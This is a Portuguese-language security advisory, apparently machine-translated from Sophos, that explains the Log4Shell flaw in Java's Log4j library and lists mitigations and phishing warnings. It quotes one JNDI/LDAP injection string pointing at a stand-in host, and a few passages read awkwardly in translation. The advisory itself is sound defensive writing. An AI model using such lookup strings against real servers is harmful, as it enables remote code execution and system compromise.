Vulnerabilidade Java Log4j - Log4Shell - O que aconteceu e o que fazer agora. Depois de Hafnium, Kaseya ou Solarwinds, as empresas mais uma vez precisam lidar com uma vulnerabilidade de servidor de alto perfil chamada Log4j - Log4Shell. A Sophos esclarece os fatos mais importantes e diz a você o que fazer.
O nome Log4Shell refere-se ao fato de que a falha que está sendo explorada está contida em uma popular biblioteca de código Java chamada Log4j (Logging for Java) e que, se os invasores explorarem com sucesso a vulnerabilidade, eles efetivamente obterão um shell - a oportunidade de executar qualquer código do sistema de sua escolha.
“O ponto chave do ataque Log4Shell é que o servidor executa o código automaticamente. O que quer que um invasor queira fazer em um servidor com a vulnerabilidade, ele pode fazer. Portanto, é extremamente importante corrigir o mais rápido possível, porque muitas pessoas por aí que não são boas já estão tentando testar quais servidores ainda estão vulneráveis."
Paul Ducklin, especialista em segurança de TI da Sophos
E como se esse comando não bastasse, a vulnerabilidade foi twittada como uma vulnerabilidade de dia zero, que é uma falha de segurança que será documentada antes que um patch esteja disponível. Além disso, a prova de conceito (PoC) foi publicada no GitHub e o problema tornou-se conhecido mundialmente enquanto ainda não havia sido corrigido. Os alarmes estão tocando alto em todo o mundo desde sexta-feira e também na Alemanha, por exemplo o BSI declarou o nível de alerta vermelho.
Validação de entrada imprópria
A vulnerabilidade, agora oficialmente conhecida como CVE-2021-44228, originou-se quando uma solicitação inofensiva foi enviada a um servidor vulnerável, que incluía alguns dados - como um cabeçalho HTTP - que os cibercriminosos esperam (ou mesmo sabem) que o servidor os grava. seu arquivo de registro. Os dados injetados dessa maneira formam uma "armadilha" oculta porque, enquanto o servidor converte os dados em um formato adequado para registro, ele inicia um download da Web como parte integrante da criação da entrada de registro necessária. E essa ação é difícil, porque se os dados que retornam forem um programa Java válido (um arquivo .class, no jargão), o servidor executará esse arquivo para ajudá-lo a gerar os dados de log.
A biblioteca Log4j sem patch permite requisitos de registro
O truque é que as versões não corrigidas da biblioteca Log4j permitem que as solicitações de registro por padrão acionem pesquisas gerais de LDAP (serviços de diretório), bem como várias outras pesquisas online. Esse "recurso" existe para ajudar a converter dados não muito úteis, por exemplo, IDs de usuário como OZZJ5JYPVK, em informações legíveis por humanos que façam sentido em sua rede, como Peter Miller. Essas solicitações são feitas por meio de um kit de ferramentas Java comumente usado chamado JNDI, abreviação de Java Naming and Directory Interface.
Essa abordagem é viável desde que os dados registrados que podem acionar a execução do código do lado do servidor sejam restritos aos servidores de diretório em sua própria rede. No entanto, muitos servidores não são configurados adequadamente e, portanto, "logsploiters" maliciosos podem tentar incorporar texto como {$jndi:ldap://dodgy.example:389/badcode} nos dados que esperam que as empresas registrem e servidor automaticamente
- Use JNDI para enviar uma solicitação LDAP para a porta especificada (389 em nosso exemplo) no servidor externo não confiável especificado.
- busque o conteúdo não confiável no código ruim do local.
- execute o código fornecido pelo invasor para obter "ajuda" com o registro.
Simplificando, essa prática é conhecida no jargão técnico como RCE (Remote Code Execution) não autenticado. Sem fazer login ou exigir uma senha ou token de acesso, os cibercriminosos podem usar uma solicitação de aparência inofensiva para induzir os servidores a relatar, baixar seu código e, assim, se infectar com seu malware. Dependendo dos direitos de acesso de um servidor à rede interna, esse RCE pode ajudar os criminosos cibernéticos a realizar uma variedade de tarefas maliciosas.
E é exatamente isso que torna o atual ponto de xadrez Log4Shell tão perigoso. Os invasores podem, teoricamente, drenar os dados do próprio servidor; Descubra detalhes sobre a rede interna, altere dados no servidor; exfiltrar dados de outros servidores na rede; configure backdoors adicionais no servidor ou na rede para ataques futuros ou instale malware adicional, como bisbilhoteiros de rede, raspadores de memória, ladrões de dados e criptomineradores.
O que fazer agora!
O licenciante Apache publicou um aviso prático de segurança sobre este tópico. A Sophos também resume as coisas mais importantes novamente:
- Atualize para Apache Log4j 2.15.0. Se você estiver usando Log4j, parece que qualquer versão 2.x de 2.14.1 e anterior é vulnerável por padrão. (Se você ainda estiver usando Log4j 1.x, uma atualização também é obrigatória, pois não é mais fornecida com atualizações).
- Bloqueando a possibilidade de JNDI fazer solicitações a servidores não confiáveis. Se você não conseguir atualizar, mas estiver usando o Log4j 2.10.0 ou posterior, poderá definir o valor de configuração log4j2.formatMsgNoLookups como true , o que impedirá o LDAP de saída e pesquisas semelhantes em primeiro lugar.
- Verificando o tempo de execução Java usado. A compilação Java subjacente que você está usando pode impedir que esse erro seja lançado com base em sua própria configuração padrão. Por exemplo, o Apache lista explicitamente o Oracle Java 8u121 como proteção contra este RCE.
A vulnerabilidade também afeta usuários particulares?
Log4Shell não significa apenas alerta vermelho para empresas, mas usuários particulares também podem ser afetados pelos efeitos da lacuna. Isso é especialmente verdadeiro quando os indivíduos usam servidores em nuvem operados por uma empresa de hospedagem ou outro provedor de serviços gerenciados - seja um blog, fórum ou site familiar. A primeira coisa a fazer aqui é descobrir se esses serviços são vulneráveis e quando os patches são planejados. No momento, certamente faz mais sentido procurar informações nos sites relevantes, já que os provedores provavelmente estão inundados de e-mails no momento.
Fique atento às mensagens dos prestadores de serviço
Além disso, deve-se prestar atenção aos avisos oficiais de segurança dos serviços online usados na caixa de correio... mas aqui também é importante ter cuidado! Se os usuários receberem mensagens sobre a vulnerabilidade de segurança atual - possivelmente ainda de um provedor de serviços proeminente - eles não devem clicar automaticamente nos links fornecidos no alerta ou discar números de telefone sem exame crítico. Ataques cibernéticos com conhecimento de mídia, como o Log4Shell, rapidamente provocam caronas que desejam usar o medo dos usuários para seus ataques de phishing. Em caso de dúvida, os usuários devem encontrar sua própria maneira de obter informações usando URLs, endereços de e-mail ou números de telefone que já usaram antes.
Mais em Sophos.com
Sobre a Sophos A Sophos tem a confiança de mais de 100 milhões de usuários em 150 países. Oferecemos a melhor proteção contra ameaças complexas de TI e perda de dados. Nossas soluções de segurança abrangentes são fáceis de implantar, usar e gerenciar. Eles oferecem o menor custo total de propriedade do setor. A Sophos oferece soluções de criptografia premiadas, soluções de segurança para endpoints, redes, dispositivos móveis, e-mail e web. Também há suporte da SophosLabs, nossa rede global de centros de análise proprietários. A sede da Sophos fica em Boston, EUA e Oxford, Reino Unido.